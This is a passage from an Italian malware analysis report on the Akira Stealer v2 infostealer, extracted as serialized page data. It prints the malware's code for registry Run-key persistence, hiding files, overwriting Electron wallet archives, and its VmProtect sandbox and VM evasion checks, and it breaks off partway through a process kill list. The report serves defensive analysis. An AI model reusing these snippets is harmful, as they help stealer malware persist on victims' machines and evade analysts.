operatività fileless mostra un'",[567,4426,4427],{},"architettura di malware basata su JavaScript estremamente avanzata",", che sfrutta le capacità di Node.js all'interno di un guscio Electron.",[556,4430,4432,4433,1138],{"id":4431},"_7-deepdive-akira-stealer-v2-astorpy","7. DeepDive: Akira Stealer v2 (",[578,4434,609],{},[525,4436,562],{},[740,4438,4440],{"id":4439},"_71-funzionalità-a-grandi-linee","7.1. Funzionalità a grandi linee",[525,4442,746],{},[525,4444,4445,4446,4448],{},"Akira Stealer v2 (",[578,4447,609],{},") è un malware infostealer multifunzione e modulare scritto in Python. È progettato per esfiltrare un'ampia gamma di dati utente sensibili da browser basati su Chromium e su Firefox, wallet di criptovalute, client di comunicazione (per esempio Discord, Telegram) e file di sistema. Integra meccanismi sofisticati di anti analisi, persistenza basata sul registro, hijacking della clipboard e tecniche di injection in memoria.",[740,4450,4452],{"id":4451},"_72-persistenza-e-distribuzione","7.2 Persistenza e distribuzione",[525,4454,746],{},[887,4456,4458],{"id":4457},"_721-contesto-della-catena-di-esecuzione","7.2.1 Contesto della catena di esecuzione",[525,4460,893],{},[525,4462,4463,4465],{},[578,4464,609],{}," non viene eseguito in autonomia, ma è il payload finale di una catena d'attacco multistadio:",[615,4467,4471],{"className":4468,"code":4469,"language":4470,"meta":529,"style":529},"language-plaintext shiki shiki-themes github-light github-dark","Updater.exe\n  └── main.exe (Electron app)\n        └── cmd.exe\n              └── python.exe astor.py\n","plaintext",[578,4472,4473,4478,4483,4488],{"__ignoreMap":529},[1704,4474,4475],{"class":1706,"line":1707},[1704,4476,4477],{},"Updater.exe\n",[1704,4479,4480],{"class":1706,"line":530},[1704,4481,4482],{},"  └── main.exe (Electron app)\n",[1704,4484,4485],{"class":1706,"line":2088},[1704,4486,4487],{},"        └── cmd.exe\n",[1704,4489,4490],{"class":1706,"line":2094},[1704,4491,4492],{},"              └── python.exe astor.py\n",[525,4494,4495,4496,4498],{},"Questa catena di esecuzione strutturata permette a ogni stadio di sfuggire al rilevamento delegando la funzionalità malevola a quello successivo. ",[578,4497,601],{}," avvia la sequenza ed è responsabile del mantenimento della persistenza.",[887,4500,4502],{"id":4501},"_722-persistenza-basata-sul-registro","7.2.2 Persistenza basata sul registro",[525,4504,893],{},[525,4506,4507,4508,4510],{},"Akira stabilisce la persistenza scrivendo una chiave di registro nel percorso Run dell'utente corrente. Questo garantisce che ",[578,4509,601],{}," venga eseguito a ogni avvio del sistema:",[615,4512,4516],{"className":4513,"code":4514,"language":4515,"meta":529,"style":529},"language-python shiki shiki-themes github-light github-dark","command = f'reg add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run /v \"Realtek Audio\" /t REG_SZ /d \"{path}\\\\Updater.exe\" /f'\nos.system(command)\n","python",[578,4517,4518,4523],{"__ignoreMap":529},[1704,4519,4520],{"class":1706,"line":1707},[1704,4521,4522],{},"command = f'reg add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run /v \"Realtek Audio\" /t REG_SZ /d \"{path}\\\\Updater.exe\" /f'\n",[1704,4524,4525],{"class":1706,"line":530},[1704,4526,4527],{},"os.system(command)\n",[630,4529,4530,4537,4544],{},[633,4531,4532,998,4535],{},[567,4533,4534],{},"Percorso",[578,4536,1676],{},[633,4538,4539,998,4541,4543],{},[567,4540,1681],{},[578,4542,1684],{}," (scelto per sembrare innocuo)",[633,4545,4546,4548,4549],{},[567,4547,1689],{},": tipicamente in ",[578,4550,4551],{},"AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\\\Updater.exe",[525,4553,4554,4555,613],{},"Questo comando scrive in silenzio la voce di autorun tramite PowerShell o tramite l'esecuzione nativa di ",[578,4556,4557],{},"os.system()",[887,4559,4561],{"id":4560},"_723-occultamento-del-file","7.2.3 Occultamento del file",[525,4563,893],{},[525,4565,4566],{},"Per nascondere ulteriormente la binary agli utenti e alle scansioni AV più semplici, al file vengono assegnati gli attributi hidden e system:",[615,4568,4570],{"className":4513,"code":4569,"language":4515,"meta":529,"style":529},"subprocess.run([\"attrib\", \"+h\", \"+s\", destination_path])\n",[578,4571,4572],{"__ignoreMap":529},[1704,4573,4574],{"class":1706,"line":1707},[1704,4575,4569],{},[630,4577,4578,4584],{},[633,4579,4580,4583],{},[578,4581,4582],{},"+h",": marca il file come nascosto",[633,4585,4586,4589],{},[578,4587,4588],{},"+s",": marca il file come file di sistema protetto",[525,4591,4592],{},"In pratica questo rimuove il file dalle viste standard di Esplora file di Windows e aumenta la furtività.",[887,4594,4596],{"id":4595},"_724-tecniche-di-reinfezione","7.2.4 Tecniche di reinfezione",[525,4598,893],{},[525,4600,4601,4602,4604,4605,646,4608,4611],{},"Il malware supporta autoreplicazione e reinfezione tramite hijacking di applicazioni Electron. In particolare sostituisce l'archivio ",[578,4603,1072],{}," nei wallet desktop basati su Electron (per esempio ",[567,4606,4607],{},"Exodus",[567,4609,4610],{},"Atomic Wallet",") per eseguire JavaScript malevolo durante l'avvio legittimo dell'app.",[525,4613,4614],{},"La logica cerca percorsi noti di app di wallet:",[615,4616,4618],{"className":4513,"code":4617,"language":4515,"meta":529,"style":529},"path = os.getenv(\"APPDATA\") + \"\\\\Exodus\\\\resources\\\\app.asar\"\n",[578,4619,4620],{"__ignoreMap":529},[1704,4621,4622],{"class":1706,"line":1707},[1704,4623,4617],{},[525,4625,4626,4627,613],{},"Se il file di destinazione esiste, viene sovrascritto con un archivio armato. Questo garantisce la persistenza anche dopo la rimozione manuale di ",[578,4628,601],{},[740,4630,4632,4633,1138],{"id":4631},"_73-anti-analisi-ed-evasione-classe-vmprotect","7.3 Anti analisi ed evasione (classe: ",[578,4634,4635],{},"VmProtect",[525,4637,746],{},[887,4639,4641],{"id":4640},"_731-introduzione","7.3.1 Introduzione",[525,4643,893],{},[525,4645,4646,4647,4650,4651,4653],{},"Nelle campagne di malware moderne, sfuggire all'analisi in ambienti virtualizzati e sandbox è decisivo per mantenere la furtività. ",[4648,4649,677],"em",{}," implementa un modulo completo di rilevamento di VM e sandbox (",[578,4652,4635],{},") che individua in modo aggressivo gli ambienti controllati dagli analisti e interrompe l'esecuzione. Questo report analizza ogni tecnica di rilevamento, riporta gli snippet di codice esatti, comprese le definizioni complete delle blacklist, e illustra la metodologia di analisi usata.",[887,4655,4657],{"id":4656},"_732-panoramica","7.3.2 Panoramica",[525,4659,893],{},[525,4661,4662,4663,4665],{},"La classe ",[578,4664,4635],{}," implementa un solido rilevamento di VM e sandbox per interrompere prematuramente l'esecuzione negli ambienti di analisi. Supporta due livelli di rilevamento:",[630,4667,4668,4674],{},[633,4669,4670,4673],{},[567,4671,4672],{},"Livello 1",": controlli leggeri e rapidi",[633,4675,4676,4679],{},[567,4677,4678],{},"Livello 2",": sonde approfondite e complete",[525,4681,4682,4683,4686,4687,4690,4691,4694],{},"Se ",[578,4684,4685],{},"VmProtect.isVM(level)"," restituisce ",[578,4688,4689],{},"True",", il malware chiama ",[578,4692,4693],{},"sys.exit()",", impedendo ulteriori analisi.",[887,4696,4698],{"id":4697},"_733-livelli-di-rilevamento","7.3.3 Livelli di rilevamento",[525,4700,893],{},[1417,4702,4703,4704],{},"\n  ",[1433,4705,4706,4703,4716,4703,4726,4703,4735,4703,4744,4703,4754,4703,4763,4703,4772],{},[1423,4707,4708,4709,4708,4712,4708,4714,4703],{},"\n    ",[1426,4710,4711],{},"Funzionalità",[1426,4713,4672],{},[1426,4715,4678],{},[1423,4717,4708,4718,4708,4721,4708,4724,4703],{},[1438,4719,4720],{},"HTTPSimulation",[1438,4722,4723],{},"✔️",[1438,4725,4723],{},[1423,4727,4708,4728,4708,4731,4708,4733,4703],{},[1438,4729,4730],{},"Blacklist dei nomi computer",[1438,4732,4723],{},[1438,4734,4723],{},[1423,4736,4708,4737,4708,4740,4708,4742,4703],{},[1438,4738,4739],{},"Blacklist degli account utente",[1438,4741,4723],{},[1438,4743,4723],{},[1423,4745,4708,4746,4708,4749,4708,4752,4703],{},[1438,4747,4748],{},"Blacklist degli UUID hardware",[1438,4750,4751],{},"❌",[1438,4753,4723],{},[1423,4755,4708,4756,4708,4759,4708,4761,4703],{},[1438,4757,4758],{},"Controllo API di hosting pubblico",[1438,4760,4751],{},[1438,4762,4723],{},[1423,4764,4708,4765,4708,4768,4708,4770,4703],{},[1438,4766,4767],{},"Indizi da registro e GPU",[1438,4769,4751],{},[1438,4771,4723],{},[1423,4773,4708,4774,4708,4777,4708,4779,4703],{},[1438,4775,4776],{},"Terminazione dei task in background",[1438,4778,4723],{},[1438,4780,4723],{},[852,4782],{"className":4783},[855,856],[887,4785,4787,4788],{"id":4786},"_734-architettura-di-vmprotect","7.3.4 Architettura di ",[578,4789,4635],{},[525,4791,893],{},[525,4793,4662,4794,4796],{},[578,4795,4635],{}," espone i metodi principali seguenti:",[630,4798,4799,4806,4813,4820,4827,4834,4841,4848],{},[633,4800,4801],{},[567,4802,4803],{},[578,4804,4805],{},"checkUUID()",[633,4807,4808],{},[567,4809,4810],{},[578,4811,4812],{},"checkComputerName()",[633,4814,4815],{},[567,4816,4817],{},[578,4818,4819],{},"checkUsers()",[633,4821,4822],{},[567,4823,4824],{},[578,4825,4826],{},"checkHosting()",[633,4828,4829],{},[567,4830,4831],{},[578,4832,4833],{},"checkHTTPSimulation()",[633,4835,4836],{},[567,4837,4838],{},[578,4839,4840],{},"checkRegistry()",[633,4842,4843],{},[567,4844,4845],{},[578,4846,4847],{},"killTasks()",[633,4849,4850],{},[567,4851,4852],{},[578,4853,4854],{},"isVM(level)",[525,4856,4857,4858,4861],{},"Ogni metodo restituisce un valore booleano oppure esegue passi di evasione. Il wrapper ",[578,4859,4860],{},"isVM"," aggrega questi controlli in base al livello indicato.",[1417,4863,4703,4864],{},[1433,4865,4866,4703,4877,4703,4891,4703,4905,4703,4918,4703,4931,4703,4944,4703,4957,4703,4972],{},[1423,4867,4708,4868,4708,4871,4708,4874,4703],{},[1426,4869,4870],{},"Metodo",[1426,4872,4873],{},"Attivato da",[1426,4875,4876],{},"Descrizione",[1423,4878,4708,4879,4708,4883,4708,4888,4703],{},[1438,4880,4881],{},[578,4882,4805],{},[1438,4884,4885],{},[578,4886,4887],{},"isVM(2)",[1438,4889,4890],{},"Blacklist di UUID WMI",[1423,4892,4708,4893,4708,4897,4708,4902,4703],{},[1438,4894,4895],{},[578,4896,4812],{},[1438,4898,4899],{},[578,4900,4901],{},"isVM(1,2)",[1438,4903,4904],{},"Corrispondenza dell'hostname da variabile d'ambiente",[1423,4906,4708,4907,4708,4911,4708,4915,4703],{},[1438,4908,4909],{},[578,4910,4819],{},[1438,4912,4913],{},[578,4914,4901],{},[1438,4916,4917],{},"Blacklist dei nomi utente",[1423,4919,4708,4920,4708,4924,4708,4928,4703],{},[1438,4921,4922],{},[578,4923,4826],{},[1438,4925,4926],{},[578,4927,4887],{},[1438,4929,4930],{},"Controllo del provider di hosting IP tramite ip-api.com",[1423,4932,4708,4933,4708,4937,4708,4941,4703],{},[1438,4934,4935],{},[578,4936,4833],{},[1438,4938,4939],{},[578,4940,4901],{},[1438,4942,4943],{},"Rilevamento dell'intercettazione HTTPS",[1423,4945,4708,4946,4708,4950,4708,4954,4703],{},[1438,4947,4948],{},[578,4949,4840],{},[1438,4951,4952],{},[578,4953,4887],{},[1438,4955,4956],{},"Artefatti del registro e dei driver GPU",[1423,4958,4708,4959,4708,4963,4708,4969,4703],{},[1438,4960,4961],{},[578,4962,4847],{},[1438,4964,4965,4966],{},"spawn di ",[578,4967,4968],{},"isVM(...)",[1438,4970,4971],{},"Termina processi di analisi noti",[1423,4973,4708,4974,4708,4978,4708,4981,4703],{},[1438,4975,4976],{},[578,4977,4854],{},[1438,4979,4980],{},"init",[1438,4982,4983,4984],{},"Aggrega i controlli e avvia il thread ",[578,4985,4847],{},[852,4987],{"className":4988},[855,856],[615,4990,4992],{"className":4513,"code":4991,"language":4515,"meta":529,"style":529},"@staticmethod\ndef isVM(level: int) -> bool:\n    # Always start background task-killer\n    Thread(target=VmProtect.killTasks, daemon=True).start()\n    if level == 1:\n        # Fast path: HTTPS, hostname & user\n        return (\n            VmProtect.checkHTTPSimulation()\n            or VmProtect.checkComputerName()\n            or VmProtect.checkUsers()\n        )\n    if level == 2:\n        # Deep scan: includes UUID, hosting, registry & GPU\n        try:\n            return (\n                VmProtect.checkHTTPSimulation()\n                or VmProtect.checkUUID()\n                or VmProtect.checkComputerName()\n                or VmProtect.checkUsers()\n                or VmProtect.checkHosting()\n                or VmProtect.checkRegistry()\n            )\n        except:\n            return False\n    return False\n",[578,4993,4994,4999,5004,5009,5014,5019,5024,5029,5034,5039,5044,5050,5056,5062,5068,5074,5080,5086,5092,5098,5104,5110,5116,5122,5128],{"__ignoreMap":529},[1704,4995,4996],{"class":1706,"line":1707},[1704,4997,4998],{},"@staticmethod\n",[1704,5000,5001],{"class":1706,"line":530},[1704,5002,5003],{},"def isVM(level: int) -> bool:\n",[1704,5005,5006],{"class":1706,"line":2088},[1704,5007,5008],{},"    # Always start background task-killer\n",[1704,5010,5011],{"class":1706,"line":2094},[1704,5012,5013],{},"    Thread(target=VmProtect.killTasks, daemon=True).start()\n",[1704,5015,5016],{"class":1706,"line":2415},[1704,5017,5018],{},"    if level == 1:\n",[1704,5020,5021],{"class":1706,"line":2421},[1704,5022,5023],{},"        # Fast path: HTTPS, hostname & user\n",[1704,5025,5026],{"class":1706,"line":3080},[1704,5027,5028],{},"        return (\n",[1704,5030,5031],{"class":1706,"line":3876},[1704,5032,5033],{},"            VmProtect.checkHTTPSimulation()\n",[1704,5035,5036],{"class":1706,"line":3882},[1704,5037,5038],{},"            or VmProtect.checkComputerName()\n",[1704,5040,5041],{"class":1706,"line":4128},[1704,5042,5043],{},"            or VmProtect.checkUsers()\n",[1704,5045,5047],{"class":1706,"line":5046},11,[1704,5048,5049],{},"        )\n",[1704,5051,5053],{"class":1706,"line":5052},12,[1704,5054,5055],{},"    if level == 2:\n",[1704,5057,5059],{"class":1706,"line":5058},13,[1704,5060,5061],{},"        # Deep scan: includes UUID, hosting, registry & GPU\n",[1704,5063,5065],{"class":1706,"line":5064},14,[1704,5066,5067],{},"        try:\n",[1704,5069,5071],{"class":1706,"line":5070},15,[1704,5072,5073],{},"            return (\n",[1704,5075,5077],{"class":1706,"line":5076},16,[1704,5078,5079],{},"                VmProtect.checkHTTPSimulation()\n",[1704,5081,5083],{"class":1706,"line":5082},17,[1704,5084,5085],{},"                or VmProtect.checkUUID()\n",[1704,5087,5089],{"class":1706,"line":5088},18,[1704,5090,5091],{},"                or VmProtect.checkComputerName()\n",[1704,5093,5095],{"class":1706,"line":5094},19,[1704,5096,5097],{},"                or VmProtect.checkUsers()\n",[1704,5099,5101],{"class":1706,"line":5100},20,[1704,5102,5103],{},"                or VmProtect.checkHosting()\n",[1704,5105,5107],{"class":1706,"line":5106},21,[1704,5108,5109],{},"                or VmProtect.checkRegistry()\n",[1704,5111,5113],{"class":1706,"line":5112},22,[1704,5114,5115],{},"            )\n",[1704,5117,5119],{"class":1706,"line":5118},23,[1704,5120,5121],{},"        except:\n",[1704,5123,5125],{"class":1706,"line":5124},24,[1704,5126,5127],{},"            return False\n",[1704,5129,5131],{"class":1706,"line":5130},25,[1704,5132,5133],{},"    return False\n",[887,5135,5137],{"id":5136},"_735-controllo-delluuid-identificare-le-macchine-virtuali-tramite-uuid-hardware","7.3.5 Controllo dell'UUID: identificare le macchine virtuali tramite UUID hardware",[525,5139,893],{},[525,5141,5142],{},"Una tattica comune nell'evasione del malware è il fingerprinting dell'ambiente hardware sottostante. Uno dei primi identificatori che possono segnalare una macchina virtuale è l'UUID di sistema (Universally Unique Identifier). Le piattaforme di virtualizzazione come VMware e VirtualBox generano spesso UUID prevedibili o riutilizzati, e il malware può sfruttarli per dedurre se si trova in un ambiente virtualizzato o in una sandbox.",[615,5144,5146],{"className":4513,"code":5145,"language":4515,"meta":529,"style":529},"@staticmethod\ndef checkUUID() -> bool:\n    try:\n        raw = subprocess.run(\n            \"wmic csproduct get uuid\", shell=True,\n            capture_output=True\n        ).stdout.splitlines()[2].decode().strip()\n    except:\n        raw = \"\"\n    return raw in VmProtect.BLACKLISTED_UUIDS\n",[578,5147,5148,5152,5157,5162,5167,5172,5177,5182,5187,5192],{"__ignoreMap":529},[1704,5149,5150],{"class":1706,"line":1707},[1704,5151,4998],{},[1704,5153,5154],{"class":1706,"line":530},[1704,5155,5156],{},"def checkUUID() -> bool:\n",[1704,5158,5159],{"class":1706,"line":2088},[1704,5160,5161],{},"    try:\n",[1704,5163,5164],{"class":1706,"line":2094},[1704,5165,5166],{},"        raw = subprocess.run(\n",[1704,5168,5169],{"class":1706,"line":2415},[1704,5170,5171],{},"            \"wmic csproduct get uuid\", shell=True,\n",[1704,5173,5174],{"class":1706,"line":2421},[1704,5175,5176],{},"            capture_output=True\n",[1704,5178,5179],{"class":1706,"line":3080},[1704,5180,5181],{},"        ).stdout.splitlines()[2].decode().strip()\n",[1704,5183,5184],{"class":1706,"line":3876},[1704,5185,5186],{},"    except:\n",[1704,5188,5189],{"class":1706,"line":3882},[1704,5190,5191],{},"        raw = \"\"\n",[1704,5193,5194],{"class":1706,"line":4128},[1704,5195,5196],{},"    return raw in VmProtect.BLACKLISTED_UUIDS\n",[525,5198,5199],{},"Questo controllo si appoggia allo strumento Windows Management Instrumentation Command-line (WMIC) per estrarre l'UUID della macchina host. Il valore restituito viene poi confrontato con un elenco curato di UUID comunemente associati a template di macchine virtuali o a setup di analisi noti.",[887,5201,5203],{"id":5202},"_736-controllo-del-nome-computer-individuare-sandbox-e-ambienti-di-analisi-tramite-hostname","7.3.6 Controllo del nome computer: individuare sandbox e ambienti di analisi tramite hostname",[525,5205,893],{},[525,5207,5208,5209,5212],{},"L'hostname di sistema, accessibile tramite la variabile d'ambiente ",[578,5210,5211],{},"%COMPUTERNAME%",", rivela spesso indizi sull'ambiente in cui si trova. Gli analisti usano spesso hostname predefiniti o generati in fretta come \"DESKTOP-XXXXXXX\", \"WIN10ANALYSIS\", o persino nomi legati ai loro ambienti interni. Il malware sfrutta questa abitudine confrontando l'hostname del sistema con una blacklist.",[615,5214,5216],{"className":4513,"code":5215,"language":4515,"meta":529,"style":529},"@staticmethod\ndef checkComputerName() -> bool:\n    name = os.getenv(\"computername\", \"\").lower()\n    return name in VmProtect.BLACKLISTED_COMPUTERNAMES\n\nBLACKLISTED_COMPUTERNAMES = (\n    '00900bc83802','bee7370c-8c0c-4','desktop-nakffmt',\n    'desktop-vkeons4','ntt-eff-2w11wss',\n    # ... dozens more entries ...\n)\n",[578,5217,5218,5222,5227,5232,5237,5241,5246,5251,5256,5261],{"__ignoreMap":529},[1704,5219,5220],{"class":1706,"line":1707},[1704,5221,4998],{},[1704,5223,5224],{"class":1706,"line":530},[1704,5225,5226],{},"def checkComputerName() -> bool:\n",[1704,5228,5229],{"class":1706,"line":2088},[1704,5230,5231],{},"    name = os.getenv(\"computername\", \"\").lower()\n",[1704,5233,5234],{"class":1706,"line":2094},[1704,5235,5236],{},"    return name in VmProtect.BLACKLISTED_COMPUTERNAMES\n",[1704,5238,5239],{"class":1706,"line":2415},[1704,5240,3873],{"emptyLinePlaceholder":325},[1704,5242,5243],{"class":1706,"line":2421},[1704,5244,5245],{},"BLACKLISTED_COMPUTERNAMES = (\n",[1704,5247,5248],{"class":1706,"line":3080},[1704,5249,5250],{},"    '00900bc83802','bee7370c-8c0c-4','desktop-nakffmt',\n",[1704,5252,5253],{"class":1706,"line":3876},[1704,5254,5255],{},"    'desktop-vkeons4','ntt-eff-2w11wss',\n",[1704,5257,5258],{"class":1706,"line":3882},[1704,5259,5260],{},"    # ... dozens more entries ...\n",[1704,5262,5263],{"class":1706,"line":4128},[1704,5264,5265],{},")\n",[525,5267,5268],{},"Se trova una corrispondenza, il malware può scegliere di fermare l'esecuzione o di distribuire un payload di facciata, evitando così un'analisi comportamentale completa.",[887,5270,5272],{"id":5271},"_737-controllo-dellaccount-utente-profilare-account-di-analisti-o-account-predefiniti","7.3.7 Controllo dell'account utente: profilare account di analisti o account predefiniti",[525,5274,893],{},[525,5276,5277],{},"Un'altra euristica consiste nel valutare il nome utente con cui il malware viene eseguito. Molti template di macchine virtuali e molte sandbox riutilizzano nomi utente comuni come \"Abby\", \"Test\" o \"wdagutilityaccount\". Sono nomi a bassa entropia e spesso hardcoded negli ambienti sandbox open source.",[615,5279,5281],{"className":4513,"code":5280,"language":4515,"meta":529,"style":529},"@staticmethod\ndef checkUsers() -> bool:\n    user = os.getlogin().lower()\n    return user in VmProtect.BLACKLISTED_USERS\n\nBLACKLISTED_USERS = (\n    'wdagutilityaccount','abby','peter wilson','hmarc',\n    'a.monaldo','tvm',\n    # ... 30+ more entries ...\n)\n",[578,5282,5283,5287,5292,5297,5302,5306,5311,5316,5321,5326],{"__ignoreMap":529},[1704,5284,5285],{"class":1706,"line":1707},[1704,5286,4998],{},[1704,5288,5289],{"class":1706,"line":530},[1704,5290,5291],{},"def checkUsers() -> bool:\n",[1704,5293,5294],{"class":1706,"line":2088},[1704,5295,5296],{},"    user = os.getlogin().lower()\n",[1704,5298,5299],{"class":1706,"line":2094},[1704,5300,5301],{},"    return user in VmProtect.BLACKLISTED_USERS\n",[1704,5303,5304],{"class":1706,"line":2415},[1704,5305,3873],{"emptyLinePlaceholder":325},[1704,5307,5308],{"class":1706,"line":2421},[1704,5309,5310],{},"BLACKLISTED_USERS = (\n",[1704,5312,5313],{"class":1706,"line":3080},[1704,5314,5315],{},"    'wdagutilityaccount','abby','peter wilson','hmarc',\n",[1704,5317,5318],{"class":1706,"line":3876},[1704,5319,5320],{},"    'a.monaldo','tvm',\n",[1704,5322,5323],{"class":1706,"line":3882},[1704,5324,5325],{},"    # ... 30+ more entries ...\n",[1704,5327,5328],{"class":1706,"line":4128},[1704,5329,5265],{},[525,5331,5332],{},"Questo controllo migliora il rilevamento concentrandosi sul contesto utente, che può restare invariato anche tra riavvii o snapshot di macchine virtuali.",[887,5334,5336],{"id":5335},"_738-controllo-dellhosting-individuare-infrastrutture-cloud-pubbliche","7.3.8 Controllo dell'hosting: individuare infrastrutture cloud pubbliche",[525,5338,893],{},[525,5340,5341,5342,5345],{},"Alcuni malware usano servizi esterni di IP intelligence per verificare se il sistema infetto si trova in un data center noto o nell'ambiente di un cloud provider. In questo caso viene fatta una semplice richiesta HTTP a ",[578,5343,5344],{},"ip-api.com",", per chiedere se l'IP è classificato come \"hosting\".",[615,5347,5349],{"className":4513,"code":5348,"language":4515,"meta":529,"style":529},"@staticmethod\ndef checkHosting() -> bool:\n    http = PoolManager(cert_reqs=\"CERT_NONE\")\n    try:\n        return http.request(\n            'GET',\n            'http://ip-api.com/line/?fields=hosting'\n        ).data.decode().strip() == 'true'\n    except:\n        return False\n",[578,5350,5351,5355,5360,5365,5369,5374,5379,5384,5389,5393],{"__ignoreMap":529},[1704,5352,5353],{"class":1706,"line":1707},[1704,5354,4998],{},[1704,5356,5357],{"class":1706,"line":530},[1704,5358,5359],{},"def checkHosting() -> bool:\n",[1704,5361,5362],{"class":1706,"line":2088},[1704,5363,5364],{},"    http = PoolManager(cert_reqs=\"CERT_NONE\")\n",[1704,5366,5367],{"class":1706,"line":2094},[1704,5368,5161],{},[1704,5370,5371],{"class":1706,"line":2415},[1704,5372,5373],{},"        return http.request(\n",[1704,5375,5376],{"class":1706,"line":2421},[1704,5377,5378],{},"            'GET',\n",[1704,5380,5381],{"class":1706,"line":3080},[1704,5382,5383],{},"            'http://ip-api.com/line/?fields=hosting'\n",[1704,5385,5386],{"class":1706,"line":3876},[1704,5387,5388],{},"        ).data.decode().strip() == 'true'\n",[1704,5390,5391],{"class":1706,"line":3882},[1704,5392,5186],{},[1704,5394,5395],{"class":1706,"line":4128},[1704,5396,5397],{},"        return False\n",[525,5399,5400],{},"Questo permette al malware di capire se è in esecuzione su infrastruttura di Microsoft Azure, AWS, DigitalOcean e simili, un campanello d'allarme che indica una sandbox.",[887,5402,5404],{"id":5403},"_739-controllo-di-simulazione-https-sondare-lintercettazione-ssl","7.3.9 Controllo di simulazione HTTPS: sondare l'intercettazione SSL",[525,5406,893],{},[525,5408,5409,5410,5413],{},"Per identificare gli ambienti con ispezione SSL (comuni nelle reti aziendali o di ricerca), il malware invia una richiesta HTTPS innocua a un sottodominio casuale sotto ",[578,5411,5412],{},".in",". Se la connessione fallisce, per filtraggio DNS, proxy di intercettazione o errori di certificate pinning, il fatto può indicare che il malware è sotto analisi.",[615,5415,5417],{"className":4513,"code":5416,"language":4515,"meta":529,"style":529},"@staticmethod\ndef checkHTTPSimulation() -> bool:\n    http = PoolManager(cert_reqs=\"CERT_NONE\", timeout=1.0)\n    try:\n        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')\n    except:\n        return False\n    return True\n",[578,5418,5419,5423,5428,5433,5437,5442,5446,5450],{"__ignoreMap":529},[1704,5420,5421],{"class":1706,"line":1707},[1704,5422,4998],{},[1704,5424,5425],{"class":1706,"line":530},[1704,5426,5427],{},"def checkHTTPSimulation() -> bool:\n",[1704,5429,5430],{"class":1706,"line":2088},[1704,5431,5432],{},"    http = PoolManager(cert_reqs=\"CERT_NONE\", timeout=1.0)\n",[1704,5434,5435],{"class":1706,"line":2094},[1704,5436,5161],{},[1704,5438,5439],{"class":1706,"line":2415},[1704,5440,5441],{},"        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')\n",[1704,5443,5444],{"class":1706,"line":2421},[1704,5445,5186],{},[1704,5447,5448],{"class":1706,"line":3080},[1704,5449,5397],{},[1704,5451,5452],{"class":1706,"line":3876},[1704,5453,5454],{},"    return True\n",[525,5456,5457],{},"Questo approccio sottile verifica l'integrità del percorso di rete senza far scattare allarmi e senza richiedere infrastruttura dedicata.",[887,5459,5461],{"id":5460},"_7310-controllo-del-registro-e-dei-driver-gpu-individuare-le-firme-delle-gpu-virtuali","7.3.10 Controllo del registro e dei driver GPU: individuare le firme delle GPU virtuali",[525,5463,893],{},[525,5465,5466,5467,5470],{},"Alcuni ambienti virtuali si tradiscono attraverso chiavi di registro o descrittori dei driver GPU. Akira adotta una doppia strategia: interroga le voci di registro legate al sottosistema grafico e, separatamente, esamina l'output di ",[578,5468,5469],{},"wmic"," alla ricerca di stringhe GPU sospette.",[615,5472,5474],{"className":4513,"code":5473,"language":4515,"meta":529,"style":529},"@staticmethod\ndef checkRegistry() -> bool:\n    r1 = subprocess.run(\n        \"REG QUERY HKLM\\\\...\\\\0000\\\\DriverDesc 2\",\n        capture_output=True, shell=True)\n    r2 = subprocess.run(\n        \"REG QUERY HKLM\\\\...\\\\0000\\\\ProviderName 2\",\n        capture_output=True, shell=True)\n\n    # GPU name check\n    gpu_out = subprocess.run(\n        \"wmic path win32_VideoController get name\",\n        capture_output=True, shell=True).stdout.decode().splitlines()\n    gpucheck = any(x in gpu_out[2].lower()\n                   for x in (\"virtualbox\", \"vmware\"))\n    return (r1.returncode != 1 and r2.returncode != 1) or gpucheck\n",[578,5475,5476,5480,5485,5490,5495,5500,5505,5510,5514,5518,5523,5528,5533,5538,5543,5548],{"__ignoreMap":529},[1704,5477,5478],{"class":1706,"line":1707},[1704,5479,4998],{},[1704,5481,5482],{"class":1706,"line":530},[1704,5483,5484],{},"def checkRegistry() -> bool:\n",[1704,5486,5487],{"class":1706,"line":2088},[1704,5488,5489],{},"    r1 = subprocess.run(\n",[1704,5491,5492],{"class":1706,"line":2094},[1704,5493,5494],{},"        \"REG QUERY HKLM\\\\...\\\\0000\\\\DriverDesc 2\",\n",[1704,5496,5497],{"class":1706,"line":2415},[1704,5498,5499],{},"        capture_output=True, shell=True)\n",[1704,5501,5502],{"class":1706,"line":2421},[1704,5503,5504],{},"    r2 = subprocess.run(\n",[1704,5506,5507],{"class":1706,"line":3080},[1704,5508,5509],{},"        \"REG QUERY HKLM\\\\...\\\\0000\\\\ProviderName 2\",\n",[1704,5511,5512],{"class":1706,"line":3876},[1704,5513,5499],{},[1704,5515,5516],{"class":1706,"line":3882},[1704,5517,3873],{"emptyLinePlaceholder":325},[1704,5519,5520],{"class":1706,"line":4128},[1704,5521,5522],{},"    # GPU name check\n",[1704,5524,5525],{"class":1706,"line":5046},[1704,5526,5527],{},"    gpu_out = subprocess.run(\n",[1704,5529,5530],{"class":1706,"line":5052},[1704,5531,5532],{},"        \"wmic path win32_VideoController get name\",\n",[1704,5534,5535],{"class":1706,"line":5058},[1704,5536,5537],{},"        capture_output=True, shell=True).stdout.decode().splitlines()\n",[1704,5539,5540],{"class":1706,"line":5064},[1704,5541,5542],{},"    gpucheck = any(x in gpu_out[2].lower()\n",[1704,5544,5545],{"class":1706,"line":5070},[1704,5546,5547],{},"                   for x in (\"virtualbox\", \"vmware\"))\n",[1704,5549,5550],{"class":1706,"line":5076},[1704,5551,5552],{},"    return (r1.returncode != 1 and r2.returncode != 1) or gpucheck\n",[525,5554,5555],{},"Questi controlli a livello hardware sono particolarmente efficaci contro i setup degli analisti, che non sempre mascherano del tutto gli adattatori video virtualizzati.",[887,5557,5559],{"id":5558},"_7311-terminazione-dei-task-sopprimere-gli-strumenti-di-analisi-in-tempo-reale","7.3.11 Terminazione dei task: sopprimere gli strumenti di analisi in tempo reale",[525,5561,893],{},[525,5563,5564],{},"Invece di limitarsi a eludere il rilevamento in modo passivo, Akira fa un passo in più e termina attivamente strumenti di analisi o di debugging noti. Avvia un thread in background che scorre un elenco di processi e chiude qualsiasi corrispondenza trovata.",[615,5566,5568],{"className":4513,"code":5567,"language":4515,"meta":529,"style":529},"@staticmethod\ndef killTasks() -> None:\n    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)\n\nBLACKLISTED_TASKS = (\n  